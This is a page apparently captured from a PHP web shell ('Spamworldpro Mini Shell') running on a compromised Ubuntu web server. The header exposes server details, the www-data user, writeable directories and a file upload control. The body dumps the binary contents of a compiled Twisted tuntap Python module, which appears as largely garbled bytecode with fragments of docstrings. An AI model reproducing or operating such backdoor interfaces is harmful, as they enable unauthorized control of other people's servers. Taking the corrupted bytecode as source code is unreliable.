Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/twisted/pair/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/twisted/pair/__pycache__/tuntap.cpython-310.pyc
o

�b�0�@sldZddlZddlZddlZddlZddlZddlmZddlm	Z	ddl
mZmZm
Z
ddlmZmZddlmZddlmZmZmZmZmZdd	lmZmZdd
lmZddlmZddl m!Z!dd
l"m#Z#m$Z$gd�Z%dZ&dZ'dZ(dZ)Gdd�de�Z*e
ej+�Gdd�de$e#��Z,Gdd�dedd��Z-Gdd�de�Z.Gdd�d�Z/e
ej0�Gdd�dej1��Z2dS) zc
Support for Linux ethernet and IP tunnel devices.

@see: U{https://en.wikipedia.org/wiki/TUN/TAP}
�N)�
namedtuple)�Tuple)�	Attribute�	Interface�implementer)�FlagConstant�Flags)�Version)�abstract�defer�error�
interfaces�task)�ethernet�raw)�log)�
deprecated)�fullyQualifiedName)�FancyEqMixin�
FancyStrMixin)�TunnelFlags�
TunnelAddress�
TuntapPort�i�T@l�Ts/dev/net/tunc@speZdZdZed�Zed�Zed�Zed�Zed�Z	ed�Z
ed�Zed	�Zed
�Z
ed�Zed�Zed
�ZdS)ra~
    L{TunnelFlags} defines more flags which are used to configure the behavior
    of a tunnel device.

    @cvar IFF_TUN: This indicates a I{tun}-type device.  This type of tunnel
        carries IP datagrams.  This flag is mutually exclusive with C{IFF_TAP}.

    @cvar IFF_TAP: This indicates a I{tap}-type device.  This type of tunnel
        carries ethernet frames.  This flag is mutually exclusive with C{IFF_TUN}.

    @cvar IFF_NO_PI: This indicates the I{protocol information} header will
        B{not} be included in data read from the tunnel.

    @see: U{https://www.kernel.org/doc/Documentation/networking/tuntap.txt}
    ��r� �@��ii� i@i�N)�__name__�
__module__�__qualname__�__doc__r�IFF_TUN�IFF_TAP�
TUN_FASYNC�TUN_NOCHECKSUM�	TUN_NO_PI�
TUN_ONE_QUEUE�TUN_PERSIST�TUN_VNET_HDR�	IFF_NO_PI�
IFF_ONE_QUEUE�IFF_VNET_HDR�IFF_TUN_EXCL�r1r1�5/usr/lib/python3/dist-packages/twisted/pair/tuntap.pyr,src@s@eZdZdZdZddd�fdfZedd��Zd	d
�Zdd�Z	d
S)rzU
    A L{TunnelAddress} represents the tunnel to which a L{TuntapPort} is bound.
    )�
_typeValue�name�typecC�|jS�N)r4)�flagr1r1r2�<lambda>TszTunnelAddress.<lambda>r4cCs|jjS)z�
        Return the integer value of the C{type} attribute.  Used to produce
        correct results in the equality implementation.
        )r5�value��selfr1r1r2r3VszTunnelAddress._typeValuecCs||_||_dS)z�
        @param type: Either L{TunnelFlags.IFF_TUN} or L{TunnelFlags.IFF_TAP},
            representing the type of this tunnel.

        @param name: The system name of the tunnel.
        @type name: L{bytes}
        N)r5r4)r<r5r4r1r1r2�__init___s
zTunnelAddress.__init__cCstjdtdd�d|jf|S)zS
        Deprecated accessor for the tunnel name.  Use attributes instead.
        zUTunnelAddress.__getitem__ is deprecated since Twisted 14.0.0  Use attributes instead.r)�category�
stacklevel�TUNTAP)�warnings�warn�DeprecationWarningr4)r<�indexr1r1r2�__getitem__js�zTunnelAddress.__getitem__N)
r!r"r#r$�compareAttributes�showAttributes�propertyr3r=rEr1r1r1r2rMs
rc@seZdZdZdS)�_TunnelDescriptionz�
    Describe an existing tunnel.

    @ivar fileno: the file descriptor associated with the tunnel
    @type fileno: L{int}

    @ivar name: the name of the tunnel
    @type name: L{bytes}
    N)r!r"r#r$r1r1r1r2rIwsrIzfileno namec@sdeZdZdZed�Zed�Zed�Zddd�Zdd	d
�Z	dd�Z
d
d�Zdd�Zdd�Z
dd�ZdS)�_IInputOutputSystemz�
    An interface for performing some basic kinds of I/O (particularly that I/O
    which might be useful for L{twisted.pair.tuntap}-using code).
    z@see: L{os.O_RDWR}z@see: L{os.O_NONBLOCK}z@see: L{os.O_CLOEXEC}�cC�dS)z"
        @see: L{os.open}
        Nr1)�filenamer8�moder1r1r2�open��z_IInputOutputSystem.openNcCrL)z&
        @see: L{fcntl.ioctl}
        Nr1)�fd�opt�arg�mutate_flagr1r1r2�ioctl�rPz_IInputOutputSystem.ioctlcCrL)z"
        @see: L{os.read}
        Nr1)rQ�limitr1r1r2�read�rPz_IInputOutputSystem.readcCrL)z#
        @see: L{os.write}
        Nr1)rQ�datar1r1r2�write�rPz_IInputOutputSystem.writecCrL)z#
        @see: L{os.close}
        Nr1)rQr1r1r2�close�rPz_IInputOutputSystem.closecCrL)a�
        Send a datagram to a certain address.

        @param datagram: The payload of a UDP datagram to send.
        @type datagram: L{bytes}

        @param address: The destination to which to send the datagram.
        @type address: L{tuple} of (L{bytes}, L{int})

        @return: The local address from which the datagram was sent.
        @rtype: L{tuple} of (L{bytes}, L{int})
        Nr1)�datagram�addressr1r1r2�sendUDP�rPz_IInputOutputSystem.sendUDPcCrL)af
        Return a socket which can be used to receive datagrams sent to the
        given address.

        @param fileno: A file descriptor representing a tunnel device which the
            datagram was either sent via or will be received via.
        @type fileno: L{int}

        @param host: The IPv4 address at which the datagram will be received.
        @type host: L{bytes}

        @param port: The UDP port number at which the datagram will be
            received.
        @type port: L{int}

        @return: A L{socket.socket} which can be used to receive the specified
            datagram.
        Nr1)�fileno�host�portr1r1r2�
receiveUDP�rPz_IInputOutputSystem.receiveUDP)rK)NN)r!r"r#r$r�O_RDWR�
O_NONBLOCK�	O_CLOEXECrOrUrWrYrZr]rar1r1r1r2rJ�s

rJc@sZeZdZdZeej�Zeej�Zeej�Zeej	�Z	ee
j�ZejZej
Z
eedd�ZdS)�_RealSystemz�
    An interface to the parts of the operating system which L{TuntapPort}
    relies on.  This is most of an implementation of L{_IInputOutputSystem}.
    rdiN)r!r"r#r$�staticmethod�osrOrWrYrZ�fcntlrUrbrc�getattrrdr1r1r1r2re�s




rec@s�eZdZdZdZd%dd�Zdefdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zeedddd�e�dd��Zd&dd �Zd!d"�Zd#d$�ZdS)'rzH
    A Port that reads and writes packets from/to a TUN/TAP-device.
    ir NcCs�tj�|�rd|_tj|_nd|_tj|_tj�|�sJ�|dur$t	�}||_
tj�
||�||_||_||_|�|j�}|�d|jj�d�|_dS)Nrrz (�))r�IEthernetProtocol�
providedByrr&�_moder%r�IRawPacketProtocolre�_systemr
�FileDescriptorr=�	interface�protocol�
maxPacketSize�
_getLogPrefixr4�logstr)r<rq�protors�reactor�system�	logPrefixr1r1r2r=�s
zTuntapPort.__init__�returncCs@t|jj�f}|jr|d}n|d}||jj|jf}d|S)N)�)znot z<%s %slistening on %s/%s>)rrr�	__class__�	connectedrmr4rq)r<�argsr1r1r2�__repr__�s
zTuntapPort.__repr__cCs |��|j�|�|��dS)z�
        Create and bind my socket, and begin listening on it.

        This must be called after creating a server to begin listening on the
        specified tunnel.
        N)�_bindSocketrr�makeConnection�startReadingr;r1r1r2�startListeningszTuntapPort.startListeningcCsd|jj|jjB|jjB}t�dtf||j�}|j�t	|�}|j�
|t|�}t||dt��
d��S)af
        Open the named tunnel using the given mode.

        @param name: The name of the tunnel to open.
        @type name: L{bytes}

        @param mode: Flags from L{TunnelFlags} with exactly one of
            L{TunnelFlags.IFF_TUN} or L{TunnelFlags.IFF_TAP} set.

        @return: A L{_TunnelDescription} representing the newly opened tunnel.
        z%dsHN�)rorbrdrc�struct�pack�	_IFNAMSIZr:rO�_TUN_KO_PATHrU�
_TUNSETIFFrI�strip)r<r4rN�flags�configr^�resultr1r1r2�_openTunnel
s
zTuntapPort._openTunnelc
Csttjd|jj|jd�z|�|j|jtjB�\}}Wnt	y.}zt
�d|j|��d}~ww||_||_d|_
dS)z"
        Open the tunnel.
        z&%(protocol)s starting on %(interface)s)�formatrrrqNr)r�msgrrr|rqr�rmrr-�OSErrorr�CannotListenError�_filenor})r<r^rq�er1r1r2r�s ����
zTuntapPort._bindSocketcCr6r7)r�r;r1r1r2r^4szTuntapPort.filenoc
Cs�d}||jkrjz|j�|j|j�}Wn&ty1}z|jtjtjtj	fvr,WYd}~dS�d}~wt
y8�w|t|�7}z
|jj
|dd�Wnt
ybt|jj�}t�dd|�d��Ynw||jksdSdS)z=
        Called when my socket is ready for reading.
        rN)�partialzUnhandled exception from z.datagramReceived)�
maxThroughputrorWr�rsr��errno�EWOULDBLOCK�EAGAIN�EINTR�
BaseException�lenrr�datagramReceivedrr|r�err)r<rWrXr��clsr1r1r2�doRead7s(
����zTuntapPort.doReadc
CsPz	|j�|j|�WSty'}z|jtjkr"|�|�WYd}~S�d}~ww)z�
        Write the given data as a single datagram.

        @param datagram: The data that will make up the complete datagram to be
            written.
        @type datagram: L{bytes}
        N)rorYr�r�r�r�)r<r[r�r1r1r2rYNs��zTuntapPort.writecCs|�d�|��dS)z�
        Write a datagram constructed from a L{list} of L{bytes}.

        @param seq: The data that will make up the complete datagram to be
            written.
        @type seq: L{list} of L{bytes}
        �N)rY�join)r<�seqr1r1r2�
writeSequence]szTuntapPort.writeSequencecCsD|��|jr
|jS|jrt�|jd|j�|_d|_|jSt�	d�S)z�
        Stop accepting connections on this port.

        This will shut down my socket and call self.connectionLost().

        @return: A L{Deferred} that fires when this port has stopped.
        rTN)
�stopReading�
disconnecting�_stoppedDeferredr}r�
deferLaterrw�connectionLostr�succeedr;r1r1r2�
stopListeninggs
�
zTuntapPort.stopListening�Twisted�rcCs|���tj�dS)zN
        Close this tunnel.  Use L{TuntapPort.stopListening} instead.
        N)r��
addErrbackrr�r;r1r1r2�loseConnection{szTuntapPort.loseConnectioncCsFt�d|j�tj�||�|j��d|_|j	�
|j�d|_dS)zY
        Cleans up my socket.

        @param reason: Ignored.  Do not use this.
        z(Tuntap %s Closed)r���N)rr�rqr
rpr�rr�doStopr}rorZr�)r<�reasonr1r1r2r��s

zTuntapPort.connectionLostcCr6)zK
        Returns the name of my class, to prefix log entries with.
        )rur;r1r1r2ry�szTuntapPort.logPrefixcCst|j|j�S)z�
        Get the local address of this L{TuntapPort}.

        @return: A L{TunnelAddress} which describes the tunnel device to which
            this object is bound.
        @rtype: L{TunnelAddress}
        )rrmrqr;r1r1r2�getHost�szTuntapPort.getHost)r NNr7)r!r"r#r$r�r=�strrr�r�r�r^r�rYr�r�rr	r�r�ryr�r1r1r1r2r�s$
	



r)3r$r�rhrgr�rA�collectionsr�typingr�zope.interfacerrr�
constantlyrr�incrementalr	�twisted.internetr
rrr
r�twisted.pairrr�twisted.pythonr�twisted.python.deprecater�twisted.python.reflectr�twisted.python.utilrr�__all__r�r��
_TUNGETIFFr�r�IAddressrrIrJre�IListeningPortrprr1r1r1r2�<module>s<!)F

Spamworldpro Mini